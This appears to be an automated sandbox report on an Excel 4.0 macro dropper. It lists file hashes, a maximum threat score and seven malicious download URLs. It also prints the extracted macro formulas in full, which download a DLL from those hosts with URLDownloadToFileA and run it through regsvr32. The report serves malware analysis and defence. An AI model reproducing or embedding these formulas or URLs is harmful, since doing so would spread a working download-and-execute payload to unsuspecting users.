General

  • Target

    d05f0ae7036798fb21338d6497fc0e4a6ab1201facc4a3a746d03144ae8cbc01

  • Size

    73KB

  • Sample

    241120-js811avblk

  • MD5

    0e4be4156ff5a460cadd00e29521ab18

  • SHA1

    b1377179b6f3619a4b252470d589e3596c76f56d

  • SHA256

    d05f0ae7036798fb21338d6497fc0e4a6ab1201facc4a3a746d03144ae8cbc01

  • SHA512

    4ec1cec478715dc721cfe197a142d0e8edde646e181d788cb20d5d8834672d975dac5b329e9e53b4444c0189faf8433a47f582e6d948644e85c93d4a3bff1524

  • SSDEEP

    1536:c+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:c+1kiCtzSmICpH7OZuvZGsMe0/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

http://almoiz.com/urdu/LDlbo5gc4c/

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

http://avrworks.com/mail/tGJconiBvy59a81/

http://asave.com.mx/cgi-bin/CUa/

https://aquinoabogados.com.ar/newsletter/tx9KBb2j/

http://avcservices-tt.com/EANAPI/hswSV1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://almoiz.com/urdu/LDlbo5gc4c/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avrworks.com/mail/tGJconiBvy59a81/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asave.com.mx/cgi-bin/CUa/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aquinoabogados.com.ar/newsletter/tx9KBb2j/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avcservices-tt.com/EANAPI/hswSV1/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

xlm40.dropper

http://almoiz.com/urdu/LDlbo5gc4c/

xlm40.dropper

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

xlm40.dropper

http://avrworks.com/mail/tGJconiBvy59a81/

Targets

    • Target

      d05f0ae7036798fb21338d6497fc0e4a6ab1201facc4a3a746d03144ae8cbc01

    • Size

      73KB

    • MD5

      0e4be4156ff5a460cadd00e29521ab18

    • SHA1

      b1377179b6f3619a4b252470d589e3596c76f56d

    • SHA256

      d05f0ae7036798fb21338d6497fc0e4a6ab1201facc4a3a746d03144ae8cbc01

    • SHA512

      4ec1cec478715dc721cfe197a142d0e8edde646e181d788cb20d5d8834672d975dac5b329e9e53b4444c0189faf8433a47f582e6d948644e85c93d4a3bff1524

    • SSDEEP

      1536:c+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:c+1kiCtzSmICpH7OZuvZGsMe0/

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks